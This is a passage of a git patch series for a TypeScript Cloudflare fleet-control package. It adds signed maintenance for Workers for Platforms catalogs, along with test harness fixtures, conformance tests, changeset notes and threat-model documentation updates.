if (match[2] && request.method === 'GET') { + expect(url.searchParams.get('per_page')).toBe('1'); + const objects = await applicationBytes.list({ + prefix, + limit: 1, + ...(url.searchParams.get('cursor') + ? { cursor: url.searchParams.get('cursor') as string } + : {}), + }); + return Response.json({ + success: true, + errors: [], + messages: [], + result: objects.objects.map((object) => ({ + key: object.key.slice(prefix.length), + })), + result_info: objects.truncated ? { cursor: objects.cursor } : {}, + }); + } + if (!match[2] && request.method === 'GET') return single(descriptor); + if (!match[2] && request.method === 'DELETE') { + const objects = await applicationBytes.list({ prefix, limit: 1 }); + if (objects.objects.length) + return new Response('bucket nonempty', { status: 409 }); + buckets.delete(key); + return single({}); + } + throw new Error('unexpected fixture R2 method'); + }); + + let reload: () => Promise; + async function refreshBindings() { + const env = await server + .getWorker<{ + FLEET_DB: D1Database; + EXPORTS: R2Bucket; + APPLICATION_BYTES: R2Bucket; + }>() + .getEnv(); + db = env.FLEET_DB; + fleetStore = new D1FleetStateStore(new D1FleetStateDatabase(db), { + accountId: binding.accountId, + }); + exportBytes = env.EXPORTS; + applicationBytes = env.APPLICATION_BYTES; + } + async function close() { + const closed = await Promise.allSettled([ + (async () => server?.close())(), + (async () => { + if (bridge) { + bridge.closeAllConnections(); + await new Promise((resolve, reject) => + bridge.close((error) => (error ? reject(error) : resolve())), + ); + } + })(), + ]); + const failures = closed.flatMap((result) => + result.status === 'rejected' ? [result.reason] : [], + ); + try { + if (directory) await rm(directory, { recursive: true, force: true }); + } catch (error) { + failures.push(error); + } + if (failures.length) + throw new AggregateError( + failures, + 'direct lifecycle fixture teardown failed', + ); + } + + try { + directory = await mkdtemp(join(tmpdir(), 'direct-lifecycle-')); + bridge = createServer(async (incoming, outgoing) => { + try { + const original = incoming.headers['x-direct-fixture-url']; + if (typeof original !== 'string' || incoming.url !== '/') + throw new Error('invalid fixture bridge request'); + const headers = new Headers(); + for (const [name, values] of Object.entries(incoming.headers)) { + if ( + name === 'x-direct-fixture-url' || + name === 'host' || + values === undefined + ) + continue; + for (const value of Array.isArray(values) ? values : [values]) + headers.append(name, value); + } + const method = incoming.method ?? 'GET'; + const init = { + method, + headers, + body: + method === 'GET' || method === 'HEAD' + ? undefined + : Readable.toWeb(incoming), + duplex: 'half' as const, + }; + const request = new Request(original, init as RequestInit); + const body = request.body + ? request.headers.get('content-type')?.includes('multipart/form-data') + ? await request.formData() + : await request.text() + : undefined; + const response = await projection.fetch(original, { + method, + headers, + body, + redirect: 'manual', + }); + outgoing.writeHead( + response.status, + Object.fromEntries(response.headers), + ); + outgoing.end(Buffer.from(await response.arrayBuffer())); + } catch (error) { + bridgeErrors.push(error); + outgoing.statusCode = 500; + outgoing.end('fixture handler failed'); + } + }); + await new Promise((resolve) => + bridge.listen(0, '127.0.0.1', resolve), + ); + const address = bridge.address(); + if (!address || typeof address === 'string') + throw new Error('missing fixture listener'); + const main = join(directory, 'worker.ts'); + const workerSource = fileURLToPath( + new URL('../../scripts/direct-reference-worker.ts', import.meta.url), + ); + await writeFile( + main, + `import {createDirectReferenceWorker} from ${JSON.stringify(workerSource)}; +const worker=createDirectReferenceWorker(${JSON.stringify(manifest)},{fetch:async(input,init)=>{const request=new Request(input,init);if(request.url==='data:,')return fetch(request);const headers=new Headers(request.headers);headers.set('X-Direct-Fixture-Url',request.url);return fetch('http://127.0.0.1:${address.port}/',{method:request.method,headers,body:request.body,signal:request.signal,redirect:'manual'});}}); +let instance; export default {async fetch(request,env){instance??=crypto.randomUUID();const response=await worker.fetch(request,{...env,CLOUDFLARE_API_TOKEN:'inert-provider-token',FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET:'inert-invoke',DIRECT_RUN_BINDING:${JSON.stringify(JSON.stringify(binding))},DIRECT_DEPLOYMENT_SECRETS:${JSON.stringify(JSON.stringify(secrets))}});response.headers.set('X-Fixture-Instance',instance);return response;}};`, + ); + const options = { + root: directory, + workers: [ + { + config: { + name: 'direct-lifecycle-harness', + main, + compatibility_date: '2026-08-06', + compatibility_flags: ['nodejs_compat'], + d1_databases: [ + { + binding: 'FLEET_DB', + database_name: 'lifecycle-fleet', + database_id: binding.fleetDatabaseId, + }, + { + binding: 'QUOTA_DB', + database_name: 'lifecycle-quota', + database_id: binding.quotaDatabaseId, + }, + ], + r2_buckets: [ + { binding: 'EXPORTS', bucket_name: binding.exportBucketName }, + { + binding: 'APPLICATION_BYTES', + bucket_name: 'fixture-application-bytes', + }, + ], + }, + }, + ], + }; + server = createTestHarness(options); + let revision = 0; + reload = async () => { + await server.update({ + ...options, + workers: options.workers.map((worker) => ({ + ...worker, + config: { + ...worker.config, + vars: { TEST_RELOAD: String(++revision) }, + }, + })), + }); + await refreshBindings(); + }; + await server.listen(); + await refreshBindings(); + } catch (error) { + try { + await close(); + } catch (cleanupError) { + throw new AggregateError( + [error, cleanupError], + 'direct fixture startup and cleanup failed', + ); + } + throw error; + } + async function call(action: DirectReferenceAction) { + const response = await server + .getWorker() + .fetch(`https://reference.test${DIRECT_REFERENCE_PATH}`, { + method: 'POST', + headers: { authorization: 'Bearer inert-invoke' }, + body: JSON.stringify({ + contractVersion: 1, + configSha256: manifest.configSha256, + action, + }), + }); + return { + response, + value: (await response.json()) as { + ok: boolean; + result?: unknown; + error?: unknown; + }, + }; + } + + async function success(action: DirectReferenceAction): Promise { + const { response, value } = await call(action); + expect(bridgeErrors).toEqual([]); + expect({ status: response.status, value }).toMatchObject({ + status: 200, + value: { ok: true }, + }); + return value.result as T; + } + + function journal() { + return new DirectReferenceJournal( + db, + manifest.resourcePrefix, + JSON.stringify({ + configSha256: manifest.configSha256, + binding, + quotaScope: manifest.resourcePrefix, + tenantSecretsSha256: createHash('sha256') + .update(JSON.stringify(secrets)) + .digest('hex'), + }), + ); + } + + return { + manifest, + binding, + secrets, + specs, + world, + projection, + get db() { + return db; + }, + get fleetStore() { + return fleetStore; + }, + get applicationBytes() { + return applicationBytes; + }, + get exportBytes() { + return exportBytes; + }, + buckets, + bridgeErrors, + sqlFailures, + call, + success, + journal, + reload, + close, + }; +} +export type DirectReferenceHarness = Awaited< + ReturnType +>; diff --git a/packages/fleet-control/test/plain-worker-backend-conformance.ts b/packages/fleet-control/test/plain-worker-backend-conformance.ts index 33fa3ab0..b8da3a26 100644 --- a/packages/fleet-control/test/plain-worker-backend-conformance.ts +++ b/packages/fleet-control/test/plain-worker-backend-conformance.ts @@ -118,6 +118,68 @@ export function describePlainWorkerConformance( makeHarness: (world?: ProviderWorld) => PlainWorkerHarness, ): void { describe(`ordinary Worker conformance: ${label}`, () => { + it('inspects a prior release and migrates changed variables, service and queue bindings', async () => { + const harness = makeHarness(); + const currentSpec: DeploymentSpec = { + ...initialSpec(), + egressProxyService: 'initial-egress', + queueProducer: { binding: 'EVENTS', queueName: 'initial-events' }, + application: { + vars: [{ name: 'RELEASE', value: 'initial' }], + secrets: [], + r2Buckets: [], + }, + }; + const targetSpec: DeploymentSpec = { + ...migrationSpec(), + egressProxyService: 'next-egress', + queueProducer: { binding: 'EVENTS', queueName: 'next-events' }, + application: { + vars: [{ name: 'RELEASE', value: 'next' }], + secrets: [], + r2Buckets: [], + }, + }; + const initial = await provisionReady(harness, currentSpec); + const prior = await harness.backend.inspect( + targetSpec, + sharedSecrets.maintenanceAdmin, + undefined, + ); + expect(prior).toMatchObject({ + artifactVersion: initial.record.artifactVersion, + desiredSpecDigest: deploymentSpecDigest(currentSpec), + schemaVersion: currentSpec.schemaVersion, + plainTextBindings: { RELEASE: 'initial' }, + serviceBindings: [{ name: 'EGRESS_PROXY', service: 'initial-egress' }], + queueProducerBindings: [ + { name: 'EVENTS', queueName: 'initial-events' }, + ], + }); + expect( + harness.world.scripts.get(currentSpec.scriptName)?.versions, + ).toHaveLength(1); + const [migrated] = await migrate(harness, initial.record, targetSpec); + expect(migrated).toMatchObject({ + phase: 'ready', + desiredSpecDigest: deploymentSpecDigest(targetSpec), + }); + expect( + await harness.backend.inspect( + targetSpec, + sharedSecrets.maintenanceAdmin, + undefined, + ), + ).toMatchObject({ + artifactVersion: migrated?.artifactVersion, + desiredSpecDigest: deploymentSpecDigest(targetSpec), + schemaVersion: targetSpec.schemaVersion, + plainTextBindings: { RELEASE: 'next' }, + serviceBindings: [{ name: 'EGRESS_PROXY', service: 'next-egress' }], + queueProducerBindings: [{ name: 'EVENTS', queueName: 'next-events' }], + }); + }); + it('1. provisions an initial deployment to ready with one guarded live version', async () => { const harness = makeHarness(); const spec = buildPlainWorkerSpec(); diff --git a/packages/fleet-control/test/plain-worker-backend.test.ts b/packages/fleet-control/test/plain-worker-backend.test.ts index 88a9beca..4942ea5b 100644 --- a/packages/fleet-control/test/plain-worker-backend.test.ts +++ b/packages/fleet-control/test/plain-worker-backend.test.ts @@ -201,6 +201,59 @@ function maintenanceResponse(digest = deploymentSpecDigest(spec)): Response { }); } +describe('inspection across release bindings', () => { + const target: DeploymentSpec = { + ...spec, + egressProxyService: 'next-egress', + queueProducer: { binding: 'EVENTS', queueName: 'next-events' }, + application: { + vars: [{ name: 'RELEASE', value: 'next' }], + secrets: [], + r2Buckets: [], + }, + }; + const releaseBindings: PlainWorkerVersionDetail['bindings'] = [ + { type: 'service', name: 'EGRESS_PROXY', service: 'next-egress' }, + { type: 'queue-producer', name: 'EVENTS', queueName: 'next-events' }, + { type: 'plain-text', name: 'RELEASE', value: 'next' }, + ]; + + it.each([ + 'EGRESS_PROXY', + 'EVENTS', + 'RELEASE', + ])('rejects target-digest %s drift through candidate and active discovery', async (missing) => { + for (const selection of ['tag', 'explicit', 'fallback'] as const) { + const api = new PlainWorkerProvisioningApiFake(); + const version = ownedVersion('target', target); + api.versions.set(target.scriptName, [ + { + ...version, + tag: selection === 'fallback' ? 'unmatched-tag' : version.tag, + bindings: [ + ...version.bindings, + ...releaseBindings.filter(({ name }) => name !== missing), + ], + }, + ]); + api.deployments.set(target.scriptName, { + versions: [{ versionId: 'target', percentage: 100 }], + }); + const request = vi.fn(async () => + maintenanceResponse(deploymentSpecDigest(target)), + ); + await expect( + backend(api, { fetch: request }).inspect( + target, + secrets.maintenanceAdmin, + selection === 'explicit' ? 'target' : undefined, + ), + ).rejects.toThrow('different resource mapping'); + expect(request).not.toHaveBeenCalled(); + } + }); +}); + function fleetRecord(): FleetRecord { return { tenantTag: spec.tenantTag, From 8c43533360f9bc9526d4db2f044c24e03e445858 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Thu, 10 Sep 2026 08:56:23 +0400 Subject: [PATCH 117/169] fix(fleet-control): restore signed catalog maintenance and migration recovery --- .changeset/wfp-catalog-signed-maintenance.md | 12 + docs/deployment-reference.md | 4 +- docs/fleet-control.md | 20 +- docs/security-threat-model.md | 2 + .../scripts/direct-reference-context.ts | 31 +- .../scripts/direct-reference-observations.ts | 7 +- .../fleet-control/src/application-bindings.ts | 7 + .../fleet-control/src/cloudflare-client.ts | 36 +- .../fleet-control/src/decommission-advance.ts | 49 +- .../fleet-control/src/decommission-intent.ts | 5 +- packages/fleet-control/src/fleet.ts | 35 +- packages/fleet-control/src/index.ts | 1 + .../fleet-control/src/platform-resources.ts | 37 +- packages/fleet-control/src/provision.ts | 57 +- packages/fleet-control/src/state-store.ts | 99 +- packages/fleet-control/src/types.ts | 17 + .../src/workers-for-platforms-backend.ts | 234 +++- .../test/cloudflare-client.test.ts | 48 +- .../direct-reference-worker.harness.test.ts | 17 +- .../test/fixtures/wfp-maintenance-harness.ts | 215 ++++ packages/fleet-control/test/fleet.test.ts | 8 +- .../test/plain-worker-backend-conformance.ts | 32 + packages/fleet-control/test/provision.test.ts | 223 +++- .../test/state-store.harness.test.ts | 2 + .../fleet-control/test/state-store.test.ts | 89 ++ .../workers-for-platforms-backend.test.ts | 1015 ++++++++++++++++- .../src/host-kit/flowsafe-worker.test.ts | 9 +- .../flowsafe/src/host-kit/flowsafe-worker.ts | 73 +- .../src/host-kit/maintenance-do.test.ts | 61 +- 29 files changed, 2227 insertions(+), 218 deletions(-) create mode 100644 .changeset/wfp-catalog-signed-maintenance.md create mode 100644 packages/fleet-control/test/fixtures/wfp-maintenance-harness.ts diff --git a/.changeset/wfp-catalog-signed-maintenance.md b/.changeset/wfp-catalog-signed-maintenance.md new file mode 100644 index 00000000..23a1ad30 --- /dev/null +++ b/.changeset/wfp-catalog-signed-maintenance.md @@ -0,0 +1,12 @@ +--- +'@proofoftech/fleet-control': patch +'@proofoftech/flowsafe': patch +--- + +Support signed maintenance for platform-authored Workers for Platforms catalogs. Catalog signing profiles can supply the maintenance keys without external-state artifacts. Catalog uploads receive their public verifier and local identity; FlowSafe relays capabilities while retaining the local receipt secret and validates the catalog script and digest before maintenance work. + +Existing catalog artifacts need a rebuilt FlowSafe runtime and explicit maintenance enrollment. The host configures the matching global dispatcher verifier. + +Persist catalog ownership explicitly in Fleet records and preserve it through native D1 migration and export-backed teardown. Catalog cleanup checks its own script and namespace authority. Force re-entry on completed or reserved records uses claim-releasing deletion when the store supports it. + +Preserve the prior mutable Worker schema identity while D1 advances and retain migration authority through compatibility teardown retries. Permit declared catalog binding changes with exact owner and uploaded-target checks. diff --git a/docs/deployment-reference.md b/docs/deployment-reference.md index 76f0980c..1e16441c 100644 --- a/docs/deployment-reference.md +++ b/docs/deployment-reference.md @@ -96,7 +96,7 @@ Host routing belongs to the provisioning control plane. It must resolve a hostna | --- | --- | --- | | `DEPLOYMENT_TENANT` | None | Required provisioning tag. Protected routes return `503` unless it matches the D1 sentinel | | `DEPLOYMENT_IDENTITY_SECRET` | None | Required internal credential. Worker-to-Durable-Object requests fail before storage unless it matches | -| `MAINTENANCE_ADMIN_SECRET` | None | Shared-secret credential. Execution-fence and inventory routes always return `503` when it is absent or malformed. Ensure-maintenance and maintenance-status instead accept a relayed fleet capability when `FLEET_MAINTENANCE_CAPABILITIES=required` and the secret is absent | +| `MAINTENANCE_ADMIN_SECRET` | None | Shared-secret credential. Execution-fence and inventory routes always return `503` when it is absent or malformed. Ensure-maintenance and maintenance-status relay fleet capabilities when `FLEET_MAINTENANCE_CAPABILITIES=required`; a local Maintenance object retains this secret for receipt signing | | `APPROVAL_ACTOR_TOKENS` | Empty | Static verifier map. Empty means every authenticated route returns 401 | | `APPROVAL_SLA_SECONDS` | `14400` | SLA assigned to new approval records | | `APPROVAL_ALLOW_SELF_DECISION` | Unset | Separation of duties enabled. Accepts `true` or a comma-separated role list | @@ -161,7 +161,7 @@ GET /admin/maintenance-status The execution-fence and inventory routes require `Authorization: Bearer `. `MAINTENANCE_ADMIN_SECRET` must contain 32 to 256 visible ASCII characters and must differ from `DEPLOYMENT_IDENTITY_SECRET`. If the secret is absent, both routes return `503`; they never delegate authentication to a fleet capability. -The ensure-maintenance and maintenance-status routes use the same shared-secret rule when `MAINTENANCE_ADMIN_SECRET` is configured. When `FLEET_MAINTENANCE_CAPABILITIES=required` and that secret is absent, they instead relay the caller's Ed25519 fleet capability token for downstream verification. The Worker does not compare the relayed token with a shared secret, and caps the credential at 2,048 characters. +The ensure-maintenance and maintenance-status routes relay the caller’s Ed25519 fleet capability when `FLEET_MAINTENANCE_CAPABILITIES=required`, including when a local Maintenance object has a receipt-signing secret. A configured secret must still be well formed and distinct from deployment identity. The Maintenance object verifies the capability; a raw maintenance secret does not substitute for it. Without the required-capability marker, these routes use shared-secret authentication. The deployment-identity gate runs before every control-plane route, so a binding or sentinel mismatch still returns `503` before administration. diff --git a/docs/fleet-control.md b/docs/fleet-control.md index c5aaaaf7..777ad99c 100644 --- a/docs/fleet-control.md +++ b/docs/fleet-control.md @@ -2,7 +2,7 @@ # Provision physically isolated deployments -Fleet control provisions one D1 database, fleet-owned application R2 buckets, and one isolated Worker resource group per project environment. Platform-authored deployments use one ordinary Worker. Fresh external deployments use two Workers for Platforms user scripts: one stable platform-authored state script and one content-addressed candidate. They consume no ordinary Worker slots per deployment. Use the `@proofoftech/fleet-control` package from a trusted control plane, never from tenant request scope. The package is published, so enforce that boundary in your own build: see [Import it only from a trusted control plane](../packages/fleet-control/README.md#import-it-only-from-a-trusted-control-plane). +Fleet control provisions isolated application Workers and their D1/R2 resources for each project environment. Platform-authored deployments can use ordinary Workers or a Workers for Platforms catalog. External deployments keep trusted state and customer code in separate scripts within the untrusted dispatch namespace. Use the `@proofoftech/fleet-control` package from a trusted control plane, never from tenant request scope. The package is published, so enforce that boundary in your own build: see [Import it only from a trusted control plane](../packages/fleet-control/README.md#import-it-only-from-a-trusted-control-plane). ## Choose a provisioning backend @@ -14,7 +14,7 @@ All backends implement the same ordered `ProvisioningBackend` contract: | `WranglerLoopBackend` | Platform-authored only | Host-provided Wrangler `>=4.118 <5` commands and generated configuration | | `WorkersForPlatformsBackend` | Platform-authored catalogs and external project releases | Cloudflare Upload API in an untrusted dispatch namespace | -`WorkersForPlatformsBackend` requires its untrusted dispatch namespace, named shared outbound Worker, and state-egress root secret at construction. It rejects an incomplete configuration before provider access. Normal provisioning always places trusted per-deployment state in that dispatch namespace. Ordinary state scripts exist only as already-persisted bridges managed by the dedicated backend-switch lifecycle. +`WorkersForPlatformsBackend` requires its untrusted dispatch namespace, named shared outbound Worker, and state-egress root secret at construction. It rejects an incomplete configuration before provider access. External provisioning places its trusted state script in that dispatch namespace. Ordinary state scripts exist only as already-persisted bridges managed by the dedicated backend-switch lifecycle. `WranglerCommandRunner` defaults to `['pnpm', 'exec', 'wrangler']`. Pass its `wranglerCommand` option when the host must select an explicit Wrangler executable or wrapper and fixed arguments. Fleet Control does not install Wrangler for the host. @@ -228,7 +228,21 @@ The state-egress credential digest is immutable for an existing trusted state re External candidates cannot own Durable Object classes or migrations, and an external specification cannot choose a state script, dispatch namespace, outbound target, or physical R2 bucket name. The trusted control plane resolves every requested Durable Object binding to the deployment's stable state script and every R2 descriptor to the fleet-owned deployment resource. The state script owns FlowSafe runs, approvals, alarms, and Durable Object code while candidates remain independently replaceable. The state script receives the named `OUTBOUND_PROXY` service binding, its context-bound credential, the audit queue, and the maintenance secret. The candidate receives none of them. If audit export is enabled, its `AUDIT_PROXY` binding is a remote Durable Object binding to `FlowsafeFleetAuditProxy` in the exact state script. Fresh state scripts include the dispatch namespace in that binding; adopted ordinary bridge scripts omit it. Fleet state persists the exact state binding inventory and an append-only snapshot of every authoritative namespace ID. Drift and teardown use that snapshot rather than recomputing names. Every D1 migration introduced while a rollback release is retained must be explicitly marked rollback-compatible and use expand-only schema changes. Apply contract changes only after the rollback window closes. -Supply a backend-owned `platformProfileFor(spec)` provider when the Workers for Platforms backend can receive external artifacts. The provider returns the trusted state artifact, platform state migration history, organization egress allowlist, and optional legacy bridge template. Fleet control validates and hashes that profile before upload. A profile or policy change requires `migrateFleet()`, even when the customer candidate bytes are unchanged. Customer modules are never reused in fresh trusted state. The stable state name derives from immutable deployment identity, not candidate contents, so release promotion and rollback do not replace platform state. +Supply a trusted `platformProfileFor(spec)` provider for Workers for Platforms maintenance. Platform-authored specifications accept a `MaintenanceSigningProfile` containing the canonical `maintenanceCapabilityPublicKey` and matching `maintenanceCapabilityPrivateKey`. External specifications require the complete `ExternalPlatformProfile`, including the trusted state artifact, state migration history, organization egress allowlist, and optional legacy bridge template. Fleet control validates and hashes that profile before upload. A profile or policy change requires `migrateFleet()`, even when the customer candidate bytes are unchanged. Customer modules are never reused in fresh trusted state. The stable state name derives from immutable deployment identity, not candidate contents, so release promotion and rollback do not replace platform state. + +### Configure signed catalog maintenance + +Use the same maintenance public verifier in the global dispatcher and catalog signing profile. The host owns global-plane configuration and attestation through `provisionPlatformPlane`; the backend does not derive dispatcher ownership from the maintenance URL. Keep the private signer in the trusted host. + +`WorkersForPlatformsBackend.deployWorker` enrolls catalog uploads with the public verifier, `FLEET_MAINTENANCE_CAPABILITIES=required`, `FLEET_RESOURCE_ROLE=platform-catalog`, and their physical script identity. The local Maintenance object retains its distinct `MAINTENANCE_ADMIN_SECRET` for receipt signing. Use a catalog built with the FlowSafe runtime supporting this mode. That runtime binds verified maintenance capabilities to its local script and release digest before reading health or consuming an ensure nonce. External stable-state maintenance continues to serve its retained candidate releases. + +Catalog records persist `wfpMode: "platform-catalog"` from their first reservation. Custom Fleet stores must retain that field. The D1 store upgrades its schema additively; unmarked WFP records retain external-state ownership rules. Changing or dropping an established catalog mode is refused. + +Importing an unmarked legacy catalog requires its original platform-authored specification. Under the existing deployment lease, verify its exact stored specification digest, immutable resource mapping and provider artifact ownership. Resolve active lifecycle operations and conflicting external resource authority before changing the mode. Check that any derived external-state reservation has no physical resource before releasing that claim. Write the marker through the store’s normal claim transaction; missing original authority cannot be replaced by the absence of state fields. + +For runtime enrollment, rebuild the catalog with the corrected FlowSafe runtime. Under its deployment lease, call `backend.deployWorker` with the owned D1 reference, recorded application topology and original secrets. Set the target specification’s `previousDurableObjectTag` to the recorded tag. Retain the returned artifact without fabricating a ready Fleet record, then use `migrateFleet()` to reconcile the uploaded target. A terminal failed bounded migration operation remains terminal; start a separately authorized operation after resolving its failure. + +Inspection requires enrollment and returns signed health for the provider-observed release. During unpinned target discovery, that can be the previous catalog digest. An explicit artifact expectation and maintenance ensure require the requested specification. Deployment refuses an enrolled catalog verifier change; coordinate verifier migration separately. ### Attest the active route diff --git a/docs/security-threat-model.md b/docs/security-threat-model.md index dfe05c98..9eb1f574 100644 --- a/docs/security-threat-model.md +++ b/docs/security-threat-model.md @@ -235,6 +235,8 @@ Run termination keeps the same boundary. The Worker sends the trusted execution External maintenance is a separate, narrower channel. The candidate may relay a fleet-private Ed25519 capability, but it cannot mint one or read `MAINTENANCE_ADMIN_SECRET`. The global dispatcher verifies the public signature and the bound operation, tenant, environment, physical script, specification digest, expiry, and nonce before it invokes customer code. The trusted maintenance object verifies the same capability against its static tenant and environment, rejects deployment-identity authorization for maintenance routes in this mode, consumes mutation nonces atomically, and signs the exact result with its per-state HMAC secret. Fleet control accepts only that signed result. Status verification is read-only, and maintenance mutation is bounded by a request timeout shorter than the active lease. +Platform-authored WFP catalogs use the signed dispatcher channel with a local Maintenance object. The catalog receives the public verifier and retains its receipt secret; its runtime verifies script and digest claims against the local managed bindings. Required-capability maintenance relays the capability even when that receipt secret is configured. Static administrative routes retain their shared-secret boundary. The control-plane host owns the global dispatcher identity and verifier configuration. + The execution-fence and inventory admin routes use a stricter `MAINTENANCE_ADMIN_SECRET` boundary than the maintenance routes: they return `503` when the secret is absent and never delegate authentication to fleet capabilities. The fence can halt every execution entry in the deployment, so the host owns and audits transition policy. The deployment-identity gate still runs first; a mismatched binding or sentinel cannot use fence administration to reach an unverified database. A missing binding, invalid sentinel schema, missing or extra owner row, malformed tag, caller-credential mismatch, or tag mismatch fails closed. The Worker returns `503`; Durable Object initialization refuses the request. diff --git a/packages/fleet-control/scripts/direct-reference-context.ts b/packages/fleet-control/scripts/direct-reference-context.ts index f021b950..e76590e8 100644 --- a/packages/fleet-control/scripts/direct-reference-context.ts +++ b/packages/fleet-control/scripts/direct-reference-context.ts @@ -275,8 +275,6 @@ export async function createDirectReferenceContext( record.environment !== manifest.environment || record.backendSwitchIntent || record.migrationIntent || - record.activeRelease || - record.pendingRelease || record.migrationPriorRelease || record.rollbackRelease || record.retiringRelease || @@ -295,6 +293,35 @@ export async function createDirectReferenceContext( record.routeHostname !== names.routeHostname ) refused(); + for (const release of [record.activeRelease, record.pendingRelease]) { + if (!release) continue; + const recipe = digests.get(role)?.get(release.specDigest); + if ( + ![ + 'migrating', + 'decommissioning', + 'traffic-removed', + 'credentials-revoked', + 'worker-deleted', + 'platform-credentials-revoked', + 'platform-resources-deleted', + 'application-resources-deleting', + 'application-resources-deleted', + 'database-exported', + 'database-deleting', + 'decommissioned', + ].includes(record.decommissionIntent?.lifecyclePhase ?? record.phase) || + release.physicalScriptName !== record.scriptName || + !recipe || + release.releaseSchemaVersion !== recipe.schemaVersion || + !release.artifactVersion || + release.artifactVersion === 'pending' || + release.topology || + (release === record.activeRelease && + release.artifactVersion !== record.artifactVersion) + ) + refused(); + } return role; }; return Object.freeze({ diff --git a/packages/fleet-control/scripts/direct-reference-observations.ts b/packages/fleet-control/scripts/direct-reference-observations.ts index ab7bc0eb..22c620bd 100644 --- a/packages/fleet-control/scripts/direct-reference-observations.ts +++ b/packages/fleet-control/scripts/direct-reference-observations.ts @@ -55,7 +55,12 @@ export async function recordDirectResource( id: record.databaseId.startsWith('reserved-') ? null : record.databaseId, }, knownVersionIds: [ - ...new Set([record.artifactVersion, record.pendingArtifactVersion]), + ...new Set([ + record.artifactVersion, + record.pendingArtifactVersion, + record.activeRelease?.artifactVersion, + record.pendingRelease?.artifactVersion, + ]), ] .filter( (value): value is string => value !== undefined && value !== 'pending', diff --git a/packages/fleet-control/src/application-bindings.ts b/packages/fleet-control/src/application-bindings.ts index f5e4b4da..0179f573 100644 --- a/packages/fleet-control/src/application-bindings.ts +++ b/packages/fleet-control/src/application-bindings.ts @@ -26,6 +26,13 @@ export const DEPLOYMENT_PLATFORM_VARIABLE_NAMES = Object.freeze([ 'FLEET_SPEC_DIGEST', ]); +export const PLATFORM_CATALOG_VARIABLE_NAMES = Object.freeze([ + ...DEPLOYMENT_PLATFORM_VARIABLE_NAMES, + 'FLEET_DEPLOYMENT_SCRIPT', + 'FLEET_MAINTENANCE_CAPABILITY_PUBLIC_KEY', + 'FLEET_RESOURCE_ROLE', +]); + export const LEGACY_BRIDGE_PLATFORM_VARIABLE_NAMES = Object.freeze([ 'DEPLOYMENT_TENANT', 'FLEET_ARTIFACT_DIGEST', diff --git a/packages/fleet-control/src/cloudflare-client.ts b/packages/fleet-control/src/cloudflare-client.ts index a99a752b..61e32563 100644 --- a/packages/fleet-control/src/cloudflare-client.ts +++ b/packages/fleet-control/src/cloudflare-client.ts @@ -81,6 +81,7 @@ import { } from './fleet-inventory-state.js'; import type { HostRoutingTarget } from './host-routing.js'; import { + canonicalMaintenanceCapabilityPublicKey, externalPlatformResourceGroupId, externalStateScriptName, FLEET_AUDIT_PROXY_BINDING, @@ -2398,6 +2399,7 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { physicalScriptName = spec.scriptName, platformResources?: import('./types.js').ExternalPlatformResources, application?: import('./types.js').ApplicationBindingTopology, + maintenanceCapabilityPublicKey?: string, ): Promise<{ artifactVersion: string }> { const dispatchNamespace = this.#requireDispatchNamespace( 'uploadDispatchWorker', @@ -2405,6 +2407,19 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { if (spec.authoredBy === 'external' && !platformResources) { throw new Error('external dispatch upload requires platform resources'); } + if ( + maintenanceCapabilityPublicKey !== undefined && + spec.authoredBy !== 'platform' + ) + throw new Error( + 'catalog maintenance enrollment requires a platform-authored Worker', + ); + const catalogPublicKey = + maintenanceCapabilityPublicKey === undefined + ? undefined + : canonicalMaintenanceCapabilityPublicKey( + maintenanceCapabilityPublicKey, + ); const bindings: Array> = [ { name: 'DB', type: 'd1', database_id: database.id }, { name: 'DEPLOYMENT_TENANT', type: 'plain_text', text: spec.tenantTag }, @@ -2419,7 +2434,7 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { type: 'plain_text', text: deploymentSpecDigest(spec), }, - ...(spec.authoredBy === 'external' + ...(spec.authoredBy === 'external' || catalogPublicKey !== undefined ? [ { name: 'FLEET_MAINTENANCE_CAPABILITIES', @@ -2428,6 +2443,25 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { }, ] : []), + ...(catalogPublicKey !== undefined + ? [ + { + name: 'FLEET_MAINTENANCE_CAPABILITY_PUBLIC_KEY', + type: 'plain_text', + text: catalogPublicKey, + }, + { + name: 'FLEET_DEPLOYMENT_SCRIPT', + type: 'plain_text', + text: physicalScriptName, + }, + { + name: 'FLEET_RESOURCE_ROLE', + type: 'plain_text', + text: 'platform-catalog', + }, + ] + : []), ...(spec.authoredBy === 'external' && spec.queueProducer ? [ { diff --git a/packages/fleet-control/src/decommission-advance.ts b/packages/fleet-control/src/decommission-advance.ts index b0ae1cf9..e98e15c5 100644 --- a/packages/fleet-control/src/decommission-advance.ts +++ b/packages/fleet-control/src/decommission-advance.ts @@ -50,7 +50,11 @@ import type { NormalDecommissionLifecyclePhase, ProvisioningBackend, } from './types.js'; -import { assertNoActiveCleanup, effectiveLifecyclePhase } from './types.js'; +import { + assertNoActiveCleanup, + effectiveLifecyclePhase, + isPlatformCatalogRecord, +} from './types.js'; import { validateDeploymentSpec } from './validation.js'; const ACTION_ERROR = 'decommission advance action is malformed'; @@ -226,7 +230,7 @@ export function activeExternalRelease( ): ExternalReleaseSnapshot | undefined { return ( record.activeRelease ?? - (record.backend === 'plain-worker' && + ((record.backend === 'plain-worker' || isPlatformCatalogRecord(record)) && record.artifactVersion !== PENDING_ARTIFACT_VERSION ? { physicalScriptName: record.scriptName, @@ -248,11 +252,11 @@ export function retainedExternalReleases( record: FleetRecord, ): readonly ExternalReleaseSnapshot[] { const active = activeExternalRelease(record); + const mutable = + record.backend === 'plain-worker' || isPlatformCatalogRecord(record); const releases = [ record.pendingRelease, - ...(record.backend === 'plain-worker' && - record.pendingArtifactVersion && - record.pendingSpecDigest + ...(mutable && record.pendingArtifactVersion && record.pendingSpecDigest ? [ { physicalScriptName: record.scriptName, @@ -268,7 +272,7 @@ export function retainedExternalReleases( ].filter( (release): release is ExternalReleaseSnapshot => release !== undefined && - (record.backend === 'plain-worker' + (mutable ? release.artifactVersion !== active?.artifactVersion : release.physicalScriptName !== active?.physicalScriptName), ); @@ -276,12 +280,10 @@ export function retainedExternalReleases( (release, index) => releases.findIndex( (candidate) => - (record.backend === 'plain-worker' + (mutable ? candidate.artifactVersion : candidate.physicalScriptName) === - (record.backend === 'plain-worker' - ? release.artifactVersion - : release.physicalScriptName), + (mutable ? release.artifactVersion 